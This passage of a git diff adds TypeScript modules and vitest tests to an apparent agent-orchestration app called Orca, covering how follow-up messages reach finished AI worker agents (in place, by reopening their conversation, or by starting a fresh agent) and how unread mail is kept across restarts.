b/src/main/runtime/rpc/methods/orchestration/worker/worker-control.ts @@ -1,8 +1,8 @@ +import { exposeDispatchContext } from './dispatch-context-exposure' import { contextOnlyAbandonWarning } from '../../../../orchestration/context-only-dispatch-release' import { OrchestrationError } from '../../../../orchestration/orchestration-error' import { defineMethod } from '../../../core' import { - exposeDispatchContext, exposeObservation, exposeWorker, inspectWorkerTerminal, diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-earlier-work.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-earlier-work.ts new file mode 100644 index 00000000000..92239719efc --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-earlier-work.ts @@ -0,0 +1,66 @@ +import { z } from 'zod' +import type { OrchestrationDb } from '../../../../orchestration/db' +import { isTuiAgent } from '../../../../../../shared/tui-agent-config' +import type { DispatchContextRow } from '../../../../orchestration/types' + +const EARLIER_WORK_CLIP = 2_000 + +const StartOptions = z.looseObject({ + agent: z.string().nullish(), + launch: z + .looseObject({ + requested: z + .looseObject({ model: z.string().nullish(), effort: z.string().nullish() }) + .nullish() + }) + .nullish() +}) + +const WorkerReport = z.looseObject({ + outcome: z.string().optional(), + subject: z.string().optional(), + body: z.string().optional() +}) + +function parseJson(raw: string | null): unknown { + try { + return raw ? JSON.parse(raw) : null + } catch { + return null + } +} + +/** The agent and launch choices the worker first started with, for a fresh start of the same kind. */ +export function parseStartOptions(raw: string): { + agent?: string + model?: string + effort?: string +} { + const parsed = StartOptions.safeParse(parseJson(raw)) + if (!parsed.success) { + return {} + } + const requested = parsed.data.launch?.requested + return { + agent: isTuiAgent(parsed.data.agent) ? parsed.data.agent : undefined, + model: requested?.model ?? undefined, + effort: requested?.effort ?? undefined + } +} + +/** The earlier task and report, for a fresh agent that cannot reopen the conversation. */ +export function earlierWork(db: OrchestrationDb, latest: DispatchContextRow): string { + const task = db.getTask(latest.task_id) + const clip = (text: string) => + text.length > EARLIER_WORK_CLIP ? `${text.slice(0, EARLIER_WORK_CLIP)}…` : text + const lines = ['Earlier work on this worker (its conversation could not be reopened):'] + if (task) { + lines.push(`Earlier task: ${clip(task.spec)}`) + } + const report = WorkerReport.safeParse(parseJson(task?.result ?? null)) + if (report.success) { + const text = [report.data.subject, report.data.body].filter(Boolean).join(' — ') + lines.push(`Its report (${report.data.outcome ?? 'unknown'}): ${clip(text)}`) + } + return lines.join('\n') +} diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-follow-up-choice.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-follow-up-choice.ts new file mode 100644 index 00000000000..349661b554e --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-follow-up-choice.ts @@ -0,0 +1,213 @@ +/** Which placement a follow-up takes: in place while the worker's agent still runs, reopened in its saved + * conversation once closed, or a fresh agent of the same kind. Effect-free except closing a pane Orca owns + * whose agent is proven gone, so the replacement never sits beside it. */ + +import { + agentProviderSessionsEqual, + isResumableTuiAgent +} from '../../../../../../shared/agent-session-resume' +import { isStructuredWorkerHandle } from '../../../../../../shared/structured-worker-handle' +import type { OrcaRuntimeService } from '../../../../orca-runtime' +import type { OrchestrationDb } from '../../../../orchestration/db' +import { + readWorkerResumeSession, + type WorkerResumeSession +} from '../../../../orchestration/db/dispatch-context/worker-follow-up-lineage' +import { OrchestrationError } from '../../../../orchestration/orchestration-error' +import type { DispatchContextRow } from '../../../../orchestration/types' +import type { WorkerTerminalResourceRow } from '../../../../orchestration/worker-terminal-ownership' +import { getStructuredAgentSessionHost } from '../../../../../native-chat/agent-session-wire/structured-agent-session-registry' +import { resolveStructuredWorkerIdentity } from '../../../../structured-worker-authority' +import { earlierWork, parseStartOptions } from './worker-earlier-work' +import { + reopenWorkerChat, + reopenWorkerTerminal, + type WorkerFollowUp +} from './worker-follow-up-placement' +import { inspectWorkerTerminal } from './worker-observation' +import { completeWorkerTerminalRelease } from './worker-release-completion' + +const RELEASE_SETTLE_WAIT_MS = 15_000 + +export type WorkerFollowUpDelivery = 'follow_up' | 'reopened' | 'started_fresh' + +export type WorkerFollowUpPlacement = { + delivery: WorkerFollowUpDelivery + worktreeId: string + terminal?: string + agent?: string + model?: string + effort?: string + /** Earlier task and report, for a fresh agent that cannot reopen the conversation. */ + earlierWork?: string + reopen?: WorkerFollowUp['reopen'] +} + +export async function chooseWorkerFollowUpPlacement( + runtime: OrcaRuntimeService, + db: OrchestrationDb, + latest: DispatchContextRow, + found: WorkerTerminalResourceRow | undefined +): Promise { + const worker = db.getWorkerDispatch(found?.origin_dispatch_id ?? latest.id) + const worktreeId = found?.worktree_id ?? worker?.worktree_id + if (!worker || !worktreeId) { + throw notRestartable(latest.id) + } + const workspace = await runtime.showManagedTerminalWorkspace(`id:${worktreeId}`).catch(() => null) + if (!workspace) { + throw new OrchestrationError( + 'worker_workspace_gone', + `The workspace Dispatch ${latest.id}'s worker ran in was removed; start a new worker with worker-start. No effects were applied.`, + { effectsApplied: false } + ) + } + const options = parseStartOptions(worker.start_options) + const resource = found && (await settledRelease(db, found)) + if (resource && isStructuredWorkerHandle(resource.terminal_handle)) { + const handle = resource.terminal_handle + return chatTabOpen(db, resource) + ? { delivery: 'follow_up', worktreeId, terminal: handle } + : { + delivery: 'reopened', + worktreeId, + ...(options.agent ? { agent: options.agent } : {}), + reopen: () => reopenWorkerChat(runtime, db, handle) + } + } + const open = + resource && !released(resource) ? await openWorkerTerminal(runtime, db, resource) : null + if (open) { + return { delivery: 'follow_up', worktreeId, terminal: open } + } + // Read after any close above, which saves the conversation the pane last reported. + const session = readWorkerResumeSession(resource && db.getWorkerTerminalResource(resource.id)) + if (session && isResumableTuiAgent(session.agent)) { + const userTab = await userTabHoldingSession(runtime, session) + return userTab + ? { delivery: 'follow_up', worktreeId, terminal: userTab } + : { + delivery: 'reopened', + worktreeId, + agent: session.agent, + earlierWork: earlierWork(db, latest), + reopen: (dispatchId) => reopenWorkerTerminal(runtime, worktreeId, session, dispatchId) + } + } + if (!options.agent) { + throw notRestartable(latest.id) + } + return { + delivery: 'started_fresh', + worktreeId, + agent: options.agent, + ...(options.model ? { model: options.model } : {}), + ...(options.effort ? { effort: options.effort } : {}), + earlierWork: earlierWork(db, latest) + } +} + +/** The handle a follow-up takes in place, or null once its agent is proven gone; never a guess. */ +async function openWorkerTerminal( + runtime: OrcaRuntimeService, + db: OrchestrationDb, + resource: WorkerTerminalResourceRow +): Promise { + const inspected = await inspectWorkerTerminal(runtime, db, resource.owner_dispatch_id) + if (inspected.status === 'unverifiable') { + throw unverifiable(resource.owner_dispatch_id, inspected.reason ?? 'unknown') + } + // A changed or unread identity proves nothing about the recorded process either. + if (['missing', 'unattached', 'identity_changed'].includes(inspected.status)) { + // Before a restart restores its terminals, a worker that still runs has no handle yet. + const process = resource.process_incarnation + ? await runtime.inspectTerminalProcessIncarnationLiveness( + resource.process_incarnation, + resource.host_scope + ) + : 'unverifiable' + if (process !== 'exited') { + throw unverifiable(resource.owner_dispatch_id, `its process is ${process}`) + } + return null + } + const live = inspected.status === 'live' ? inspected.terminalHandle : null + if (live && (await runtime.isTerminalRunningAgent(live))) { + return live + } + if ((live || inspected.status === 'exited') && resource.ownership_state === 'owned') { + await releaseLeftoverShell(runtime, db, resource.owner_dispatch_id) + } + return null +} + +/** The agent exited and left Orca's shell behind: close it the way worker-release does before replacing it. */ +async function releaseLeftoverShell( + runtime: OrcaRuntimeService, + db: OrchestrationDb, + dispatchId: string +): Promise { + const requested = db.requestWorkerTerminalRelease(dispatchId) + if (requested.disposition === 'requested') { + await completeWorkerTerminalRelease({ runtime, db, dispatchId, resource: requested.resource }) + } +} + +/** A close in progress is final; wait it out so the worker is reopened rather than fought over. */ +async function settledRelease( + db: OrchestrationDb, + resource: WorkerTerminalResourceRow +): Promise { + const deadline = Date.now() + RELEASE_SETTLE_WAIT_MS + let current = resource + while (['requested', 'releasing'].includes(current.release_state) && Date.now() < deadline) { + await new Promise((resolve) => setTimeout(resolve, 250)) + current = db.getWorkerTerminalResource(resource.id) ?? current + } + return current +} + +function released(resource: WorkerTerminalResourceRow): boolean { + return resource.ownership_state === 'released' || resource.release_state === 'released' +} + +function chatTabOpen(db: OrchestrationDb, resource: WorkerTerminalResourceRow): boolean { + const identity = resolveStructuredWorkerIdentity(resource.terminal_handle, db) + const host = getStructuredAgentSessionHost() + return !released(resource) && !!identity && !!host?.isSessionTabVisible(identity.sessionId) +} + +/** The user resumed the conversation in a tab of their own: the follow-up goes there and the tab stays theirs. */ +async function userTabHoldingSession( + runtime: OrcaRuntimeService, + session: WorkerResumeSession +): Promise { + for (const row of runtime.getAgentStatusSnapshotFn?.() ?? []) { + const handle = + row.agentType === session.agent && + !row.structuredHost && + agentProviderSessionsEqual(session.agent, row.providerSession, session.providerSession) + ? runtime.getTerminalHandleForPaneKey(row.paneKey) + : null + if (handle && (await runtime.isTerminalRunningAgent(handle))) { + return handle + } + } + return undefined +} + +function unverifiable(dispatchId: string, reason: string): OrchestrationError { + return new OrchestrationError( + 'worker_unverifiable', + `Orca cannot tell whether Dispatch ${dispatchId}'s worker still runs (${reason}), so it starts no second one. Send again once worker-show reads it. No effects were applied.`, + { effectsApplied: false } + ) +} + +function notRestartable(dispatchId: string): OrchestrationError { + return new OrchestrationError( + 'worker_not_restartable', + `Dispatch ${dispatchId} has no worker Orca started that it can continue; start a new worker with worker-start. No effects were applied.`, + { effectsApplied: false } + ) +} diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-follow-up-placement.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-follow-up-placement.ts new file mode 100644 index 00000000000..184026fc9eb --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-follow-up-placement.ts @@ -0,0 +1,141 @@ +import type { OrcaRuntimeService } from '../../../../orca-runtime' +import type { OrchestrationDb } from '../../../../orchestration/db' +import { OrchestrationError } from '../../../../orchestration/orchestration-error' +import type { OrchestrationParty } from '../../../../orchestration/orchestration-party' +import { CHAT_WORKER_AUTHORITY } from '../chat-assignee-admission' +import type { WorkerResumeSession } from '../../../../orchestration/db/dispatch-context/worker-follow-up-lineage' +import { getStructuredAgentSessionHost } from '../../../../../native-chat/agent-session-wire/structured-agent-session-registry' +import { + resolveStructuredWorkerIdentity, + structuredWorkerSession +} from '../../../../structured-worker-authority' + +/** What a follow-up continues, and for a closed worker how it comes back once the follow-up holds its Dispatch. */ +export type WorkerFollowUp = { + /** The settled Dispatch whose worker this one continues. */ + of: string + /** Resolves null when the agent refused to resume before spawning anything; a fresh one starts instead. */ + reopen?: (dispatchId: string) => Promise + /** The send this follow-up answers, whose pending receipt names the Dispatch it accepted. */ + acceptedBy?: { callerFingerprint: string; requestId: string } + /** Unread mail this follow-up carries as its Task. */ + consumesMessageIds?: readonly string[] + /** Appended to the Task when a reopen falls back to a fresh agent. */ + earlierWork?: string +} + +/** `userOpened`: the user's own tab, which stays theirs and is never closed by Orca. */ +export type ReopenedWorker = { + handle: string + chat: boolean + userOpened: boolean + /** A reopened chat's custody identity; a resumed terminal's comes from its new pane. */ + authority?: { paneKey: string; processIncarnation: string; hostScope: string } +} + +/** Resume a closed terminal worker's conversation in a new background tab; never a shell. Null: start a fresh agent. */ +export async function reopenWorkerTerminal( + runtime: Pick, + worktreeId: string, + session: WorkerResumeSession, + dispatchId: string +): Promise { + const resumed = await runtime.resumeAgentSessionInWorkspace(worktreeId, { + ...session, + // A retry of this follow-up reconciles the pane it may have started. + mutationId: dispatchId + }) + if (resumed.ok) { + return { handle: resumed.handle, chat: false, userOpened: false } + } + switch (resumed.reason) { + case 'window_owns_wake': + throw new OrchestrationError( + 'worker_asleep', + "The worker's workspace is asleep in a window; wake it and send again." + ) + case 'windows_only_cli': + throw new OrchestrationError('worker_agent_unavailable', resumed.message) + case 'held_elsewhere': + throw new OrchestrationError( + 'worker_unreachable', + "The worker's conversation is open somewhere Orca cannot reach; nothing was sent." + ) + case 'no_resume_command': + // Refused before anything spawned, so a fresh agent cannot duplicate it. + return null + case 'aborted': + case 'create_failed': + throw new OrchestrationError( + 'worker_reopen_failed', + `Orca could not reopen the worker's ${session.agent} conversation (${resumed.reason}).` + ) + } +} + +/** A reopened chat is a chat too; a tab the user reopened stays theirs, as a `--terminal` does. + * `created`: a pane this start made, whose custody it records at once. */ +export function placedWorkerParty( + placed: { reopened?: ReopenedWorker }, + chat: unknown, + terminal: OrchestrationParty | '' | undefined +): { + workerChat: boolean + external: boolean + created: boolean + authority: ReopenedWorker['authority'] | typeof CHAT_WORKER_AUTHORITY | undefined +} { + const workerChat = chat !== null || placed.reopened?.chat === true + const external = Boolean(terminal) || placed.reopened?.userOpened === true + // A structured worker's chat keeps the pane and process its custody is held under. + const chatAuthority = + terminal && terminal.terminalHandle === null ? CHAT_WORKER_AUTHORITY : undefined + return { + workerChat, + external, + created: !workerChat && !external, + authority: placed.reopened?.authority ?? chatAuthority + } +} + +/** Bring a closed worker's chat back as a background tab in its own conversation; its next turn starts the agent at rest. + * Its custody identity comes from the worker, since its released row cannot vouch for it. */ +export async function reopenWorkerChat( + runtime: Pick< + OrcaRuntimeService, + 'ensureStructuredAgentSessionHost' | 'publishStructuredAgentSessionTab' + >, + db: OrchestrationDb, + handle: string +): Promise { + const identity = resolveStructuredWorkerIdentity(handle, db) + await runtime.ensureStructuredAgentSessionHost() + const host = getStructuredAgentSessionHost() + if (!identity || !host) { + throw new OrchestrationError( + 'worker_not_restartable', + `Worker ${handle} has no chat Orca can reopen; start a new worker with worker-start.` + ) + } + // A `/clear` moved the conversation on; reopen the session that runs it now. + const running = structuredWorkerSession(identity) + const sessionId = running.kind === 'here' ? running.sessionId : identity.sessionId + const userOpened = host.isSessionTabVisible(sessionId) + const revealed = await host.revealSession(sessionId) + await runtime.publishStructuredAgentSessionTab({ + workspaceId: revealed.workspaceId, + sessionId: revealed.sessionId, + agent: revealed.agent, + activate: false + }) + return { + handle, + chat: true, + userOpened, + authority: { + paneKey: identity.paneKey, + processIncarnation: identity.processIncarnation, + hostScope: JSON.stringify(identity.hostScope) + } + } +} diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-follow-up.test.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-follow-up.test.ts new file mode 100644 index 00000000000..47a5fe88a28 --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-follow-up.test.ts @@ -0,0 +1,315 @@ +import { mkdtempSync, rmSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, describe, expect, it, vi } from 'vitest' +import { getWorkerTerminalAutoReleaseScheduler } from '../../../../orchestration/worker-terminal-auto-release-scheduler' +import { + getFollowUpDispatch, + readWorkerResumeSession +} from '../../../../orchestration/db/dispatch-context/worker-follow-up-lineage' +import { watchMovedWorkerResumeSessions } from './worker-resume-session-capture' +import { + continueAllUnreadWorkerMail, + continueUnreadWorkerMail +} from '../messaging/settled-worker-follow-through' +import { createOrchestrationWorkerReleaseHarness } from './worker-release.test-support' + +// A send to a finished terminal worker, through the same worker-start the coordinator would run. +describe('a follow-up to a finished terminal worker', () => { + const h = createOrchestrationWorkerReleaseHarness() + let userDataDir: string | undefined + + afterEach(() => { + getWorkerTerminalAutoReleaseScheduler(h.runtime).clear() + h.cleanup() + if (userDataDir) { + rmSync(userDataDir, { recursive: true, force: true }) + userDataDir = undefined + } + }) + + const send = (dispatchId: string, body: string) => + h.call('orchestration.send', { + from: 'term_coord', + to: `dispatch:${dispatchId}`, + subject: 'More', + body + }) + + it('starts no second worker while it cannot tell whether the first still runs', async () => { + h.setup() + const { dispatchId } = await h.startSettledWorker() + vi.spyOn(h.runtime, 'getTerminalLivenessVerdict').mockReturnValue({ + status: 'unverifiable', + reason: 'relay_dropped' + }) + + await expect(send(dispatchId, 'and the docs')).rejects.toMatchObject({ + code: 'worker_unverifiable' + }) + expect(getFollowUpDispatch(h.db, dispatchId)).toBeUndefined() + expect(h.runtime.createTerminal).toHaveBeenCalledTimes(1) + }) + + it('starts no second worker for one whose handle is gone until its process is proven exited', async () => { + h.setup() + const { dispatchId } = await h.startSettledWorker() + // As before a restart restores terminals: no handle resolves, but the process may still run. + let gone = true + const show = vi.mocked(h.runtime.showTerminal).getMockImplementation()! + vi.mocked(h.runtime.showTerminal).mockImplementation(async (handle) => { + if (gone && handle === 'term_worker') { + throw new Error('terminal not found') + } + return show(handle) + }) + vi.spyOn(h.runtime, 'resolveTerminalHandleByProcessIncarnation').mockReturnValue(null) + + await expect(send(dispatchId, 'and the docs')).rejects.toMatchObject({ + code: 'worker_unverifiable' + }) + expect(getFollowUpDispatch(h.db, dispatchId)).toBeUndefined() + expect(h.runtime.createTerminal).toHaveBeenCalledTimes(1) + + h.inspectProcessLiveness.mockResolvedValue('exited') + vi.mocked(h.runtime.createTerminal).mockImplementationOnce(async () => { + gone = false + return { handle: 'term_worker', worktreeId: 'repo::worktree', title: 'worker' } + }) + await expect(send(dispatchId, 'and the docs')).resolves.toMatchObject({ + delivery: 'started_fresh' + }) + }) + + it('starts no second worker while its pane cannot yet read the recorded process', async () => { + h.setup() + const { dispatchId } = await h.startSettledWorker() + vi.mocked(h.runtime.getTerminalProcessIncarnation).mockReturnValue(null) + + await expect(send(dispatchId, 'and the docs')).rejects.toMatchObject({ + code: 'worker_unverifiable' + }) + expect(h.runtime.createTerminal).toHaveBeenCalledTimes(1) + }) + + it('keeps unread mail it could not continue, tells the coordinator, and delivers it with the next send', async () => { + userDataDir = mkdtempSync(join(tmpdir(), 'orca-follow-up-refused-')) + h.setup({ userDataDir }) + const { taskId, dispatchId } = await h.startWorker() + await send(dispatchId, 'DO NOT PUSH') + h.settle(taskId, dispatchId, 'succeeded') + + h.restart() + const verdict = vi.spyOn(h.runtime, 'getTerminalLivenessVerdict').mockReturnValue({ + status: 'unverifiable', + reason: 'relay_dropped' + }) + + await vi.waitFor(() => + expect(h.db.getUnreadMessages(`run:${h.activeRunId}`)).toMatchObject([ + { type: 'escalation', subject: 'Mail did not reach the finished worker' } + ]) + ) + expect(h.db.getDispatchContextById(dispatchId)?.follow_up_mail_at).not.toBeNull() + expect(h.db.getUnreadMessages(`dispatch:${dispatchId}`)).toMatchObject([ + { body: 'DO NOT PUSH' } + ]) + + verdict.mockRestore() + await send(dispatchId, 'and the docs') + const followUpId = getFollowUpDispatch(h.db, dispatchId)!.id + await vi.waitFor(() => + expect(h.db.getUnreadMessages(`dispatch:${followUpId}`)).toMatchObject([ + { body: 'DO NOT PUSH' } + ]) + ) + expect(h.db.getDispatchContextById(dispatchId)?.follow_up_mail_at).toBeNull() + }) + + it('continues the worker with mail it never read before reporting, after a restart', async () => { + userDataDir = mkdtempSync(join(tmpdir(), 'orca-follow-up-restart-')) + h.setup({ userDataDir }) + const { taskId, dispatchId } = await h.startWorker() + await send(dispatchId, 'and the docs') + // The report settles; the app quits before anything continues that mail. + h.settle(taskId, dispatchId, 'succeeded') + expect(h.db.getDispatchContextById(dispatchId)?.follow_up_mail_at).not.toBeNull() + + h.restart() + + await vi.waitFor(() => expect(getFollowUpDispatch(h.db, dispatchId)).toBeDefined()) + const followUp = getFollowUpDispatch(h.db, dispatchId)! + expect(h.db.getTask(followUp.task_id)?.spec).toContain('and the docs') + await vi.waitFor(() => + expect(h.db.getDispatchContextById(dispatchId)?.follow_up_mail_at).toBeNull() + ) + expect(h.db.getUnreadMessages(`dispatch:${dispatchId}`)).toHaveLength(0) + }) + + it('holds unread mail for a follow-up another send is starting and moves it in once that one is ready', async () => { + h.setup() + const { taskId, dispatchId } = await h.startWorker() + await send(dispatchId, 'and the docs') + h.settle(taskId, dispatchId, 'succeeded') + const winner = h.db.createStartingWorkerDispatch({ + creator: { kind: 'system' }, + maxDepth: 9, + taskSpec: 'first', + taskRunId: h.activeRunId, + startOptions: { agent: 'codex' }, + followUpOf: dispatchId + }) + const arrived = vi.mocked(h.runtime.notifyMessageArrived) + arrived.mockClear() + + continueAllUnreadWorkerMail(h.runtime, h.db) + expect(h.db.getUnreadMessages(`dispatch:${dispatchId}`)).toMatchObject([ + { body: 'and the docs' } + ]) + expect(h.db.getDispatchContextById(dispatchId)?.follow_up_mail_at).not.toBeNull() + + h.db.markWorkerDispatchReady(winner.dispatch.id) + continueAllUnreadWorkerMail(h.runtime, h.db) + continueAllUnreadWorkerMail(h.runtime, h.db) + expect(h.db.getUnreadMessages(`dispatch:${winner.dispatch.id}`)).toMatchObject([ + { body: 'and the docs' } + ]) + expect(arrived.mock.calls).toEqual([[`dispatch:${winner.dispatch.id}`, 'status']]) + expect(h.db.getDispatchContextById(dispatchId)?.follow_up_mail_at).toBeNull() + }) + + it('counts a follow-up that reported before its start was observed as having taken the mail', async () => { + h.setup() + const { taskId, dispatchId } = await h.startWorker() + await send(dispatchId, 'DO NOT PUSH') + h.settle(taskId, dispatchId, 'succeeded') + vi.mocked(h.runtime.sendTerminalAgentPrompt).mockImplementationOnce(async (handle) => { + const followUp = getFollowUpDispatch(h.db, dispatchId)! + h.settle(followUp.task_id, followUp.id, 'succeeded') + return { handle, accepted: true, bytesWritten: 1 } + }) + + continueAllUnreadWorkerMail(h.runtime, h.db) + + await vi.waitFor(() => + expect(h.db.getDispatchContextById(dispatchId)?.follow_up_mail_at).toBeNull() + ) + const followUp = getFollowUpDispatch(h.db, dispatchId)! + expect(h.db.getTask(followUp.task_id)?.spec).toContain('DO NOT PUSH') + expect(h.db.getUnreadMessages(`dispatch:${dispatchId}`)).toHaveLength(0) + expect(h.db.getUnreadMessages(`dispatch:${followUp.id}`)).toHaveLength(0) + expect(h.db.getUnreadMessages(`run:${h.activeRunId}`)).toHaveLength(0) + }) + + it('keeps the mail a failed follow-up took when a replayed report ran during its start', async () => { + h.setup() + const { taskId, dispatchId } = await h.startWorker() + await send(dispatchId, 'DO NOT PUSH') + h.settle(taskId, dispatchId, 'succeeded') + vi.mocked(h.runtime.sendTerminalAgentPrompt).mockImplementationOnce(async () => { + // The replay finds no unread mail, since the start took it, and clears the marker. + continueUnreadWorkerMail(h.runtime, h.db, dispatchId) + throw new Error('prompt lost') + }) + + continueAllUnreadWorkerMail(h.runtime, h.db) + + await vi.waitFor(() => expect(getFollowUpDispatch(h.db, dispatchId)).toBeDefined()) + const failed = getFollowUpDispatch(h.db, dispatchId)!.id + await vi.waitFor(() => + expect(h.db.getUnreadMessages(`dispatch:${failed}`)).toMatchObject([{ body: 'DO NOT PUSH' }]) + ) + }) + + it('keeps the mail a failed follow-up took, says so, and delivers it with the retry', async () => { + h.setup() + const { taskId, dispatchId } = await h.startWorker() + await send(dispatchId, 'DO NOT PUSH') + h.settle(taskId, dispatchId, 'succeeded') + vi.mocked(h.runtime.sendTerminalAgentPrompt).mockRejectedValueOnce(new Error('prompt lost')) + + continueAllUnreadWorkerMail(h.runtime, h.db) + + await vi.waitFor(() => + expect(h.db.getUnreadMessages(`run:${h.activeRunId}`)).toMatchObject([ + { type: 'escalation', subject: 'Mail did not reach the finished worker' } + ]) + ) + const failed = getFollowUpDispatch(h.db, dispatchId)!.id + expect(h.db.getUnreadMessages(`dispatch:${failed}`)).toMatchObject([{ body: 'DO NOT PUSH' }]) + + // The coordinator retries at the address it knows; the retry follows the failed follow-up. + await send(dispatchId, 'and the docs') + const retry = getFollowUpDispatch(h.db, failed)!.id + await vi.waitFor(() => + expect(h.db.getUnreadMessages(`dispatch:${retry}`)).toMatchObject([{ body: 'DO NOT PUSH' }]) + ) + }) + + it('from a follow-up that never got a worker, continues the worker before it', async () => { + h.setup() + const { dispatchId } = await h.startSettledWorker() + const failed = h.db.createStartingWorkerDispatch({ + creator: { kind: 'system' }, + maxDepth: 9, + taskSpec: 'first', + taskRunId: h.activeRunId, + startOptions: { agent: 'codex' }, + followUpOf: dispatchId + }) + h.db.failWorkerStart(failed.dispatch.id, 'terminal_create', 'The terminal never opened.') + + await expect(send(failed.dispatch.id, 'second')).resolves.toMatchObject({ + delivery: 'follow_up', + followUpOf: failed.dispatch.id, + effects: expect.arrayContaining([ + expect.objectContaining({ role: 'agent', id: 'term_worker' }) + ]) + }) + }) + + it('takes mail for a working worker even when its report settles the Dispatch in the same turn', async () => { + h.setup() + const { taskId, dispatchId } = await h.startWorker() + + const sent = send(dispatchId, 'and the docs') + h.settle(taskId, dispatchId, 'succeeded') + + await expect(sent).resolves.toMatchObject({ message: { to_handle: `dispatch:${dispatchId}` } }) + }) + + it("keeps the conversation a kept worker's pane moves to after its report", async () => { + h.setup() + const { dispatchId } = await h.startSettledWorker() + vi.mocked(h.runtime.getExactWorkerProviderSession).mockReturnValue({ + paneKey: h.workerPaneKey, + agent: 'claude', + processIncarnation: 'runtime_test:term_worker:1', + providerSession: { key: 'session_id', id: 'after-clear' }, + observedAt: 1 + }) + + watchMovedWorkerResumeSessions( + h.runtime, + () => h.db + )([{ paneKey: h.workerPaneKey, sessionId: 'after-clear' }]) + + expect( + readWorkerResumeSession(h.db.getWorkerTerminalResourceByOwner(dispatchId)) + ).toMatchObject({ agent: 'claude', providerSession: { id: 'after-clear' } }) + }) + + it('saves nothing again when a status change repeats the same conversations', async () => { + h.setup() + await h.startSettledWorker() + const read = vi.mocked(h.runtime.getExactWorkerProviderSession) + const notify = watchMovedWorkerResumeSessions(h.runtime, () => h.db) + const sessions = [{ paneKey: h.workerPaneKey, sessionId: 'after-clear' }] + + notify(sessions) + read.mockClear() + notify(sessions) + + expect(read).not.toHaveBeenCalled() + }) +}) diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-interactive-wait.test.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-interactive-wait.test.ts index 3e5ecfb4e50..e5021a9e594 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-interactive-wait.test.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-interactive-wait.test.ts @@ -144,18 +144,4 @@ describe('worker-show interactive wait (STA-3714, STA-4513)', () => { expect(result.observation.exactWorker).toBe(false) expect('agentWait' in result.observation).toBe(false) }) - - it('agrees with the terminal payload it is derived from', async () => { - const result = (await showWorkerPaneServing(fixture('cursor-agent-approval-prompt'))) as { - terminal: { agentWait: unknown } | null - observation: { agentWait: unknown } - } - - // Assert shape before equality, which otherwise passes when both fields are absent. - expect(result.observation.agentWait).toMatchObject({ - source: 'prompt-text', - reason: 'agent-approval-prompt' - }) - expect(result.observation.agentWait).toEqual(result.terminal?.agentWait) - }) }) diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-observation.test.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-observation.test.ts index 8f399417f94..1bf76e0cce8 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-observation.test.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-observation.test.ts @@ -1,7 +1,8 @@ import { describe, expect, it, vi } from 'vitest' import type { OrcaRuntimeService } from '../../../../orca-runtime' import type { OrchestrationDb } from '../../../../orchestration/db' -import { exposeDispatchContext, exposeWorker, inspectWorkerTerminal } from './worker-observation' +import { exposeWorker, inspectWorkerTerminal } from './worker-observation' +import { exposeDispatchContext } from './dispatch-context-exposure' import type { DispatchContextRow, WorkerDispatchRow } from '../../../../orchestration/types' const DISPATCH_ID = 'ctx-worker' diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-observation.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-observation.ts index 91f8e978bfc..43bbd71449d 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-observation.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-observation.ts @@ -1,8 +1,8 @@ +import { parseWorkerTerminalHostScope } from '../../../../../../shared/worker-terminal-host-scope' import type { RuntimeTerminalInteractiveWait } from '../../../../../../shared/runtime-types' import type { WorkerTerminalReleaseRuntime } from '../../../../orchestration/worker-terminal-release-runtime' import type { OrchestrationDb } from '../../../../orchestration/db' import { OrchestrationError } from '../../../../orchestration/orchestration-error' -import { parseWorkerTerminalHostScope } from '../../../../../../shared/worker-terminal-host-scope' import type { OrchestrationFleetWorker } from '../../../../../../shared/orchestration-fleet-projection' import { projectWorkerFleet } from './worker-list-projection' import { observeChatAssignee } from '../../../../orchestration/chat-assignee' @@ -13,6 +13,7 @@ import type { WorkerDispatchRow } from '../../../../orchestration/types' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../../shared/layout-owner-switch' +import { exposeDispatchContext } from './dispatch-context-exposure' /** Recover live handles by recorded process incarnation so stale durable handles cannot hide and leak running workers. */ export async function inspectWorkerTerminal( @@ -167,34 +168,6 @@ function exposeContextOnlyWorker(dispatch: DispatchContextRow) { } } -// Hide authority hashes and decode host_scope; emit one camelCase shape matching exposeWorker. -export function exposeDispatchContext(dispatch: DispatchContextRow) { - return { - id: dispatch.id, - runId: dispatch.run_id, - taskId: dispatch.task_id, - // Keep dispatch.task_id beside the rename because shipped CLIs still read it. - task_id: dispatch.task_id, - contractVersion: dispatch.contract_version, - assigneeHandle: dispatch.assignee_handle, - assigneePaneKey: dispatch.assignee_pane_key, - processIncarnation: dispatch.process_incarnation, - capabilityRevokedAt: dispatch.capability_revoked_at, - retryOfDispatchId: dispatch.retry_of_dispatch_id, - creatorDispatchId: dispatch.creator_dispatch_id, - hostScope: parseWorkerTerminalHostScope(dispatch.host_scope), - status: dispatch.status, - failureCount: dispatch.failure_count, - lastFailure: dispatch.last_failure, - terminationReason: dispatch.termination_reason, - depth: dispatch.depth, - dispatchedAt: dispatch.dispatched_at, - completedAt: dispatch.completed_at, - createdAt: dispatch.created_at, - lastHeartbeatAt: dispatch.last_heartbeat_at - } -} - export async function showContextOnlyWorker( runtime: WorkerTerminalReleaseRuntime, db: OrchestrationDb, diff --git 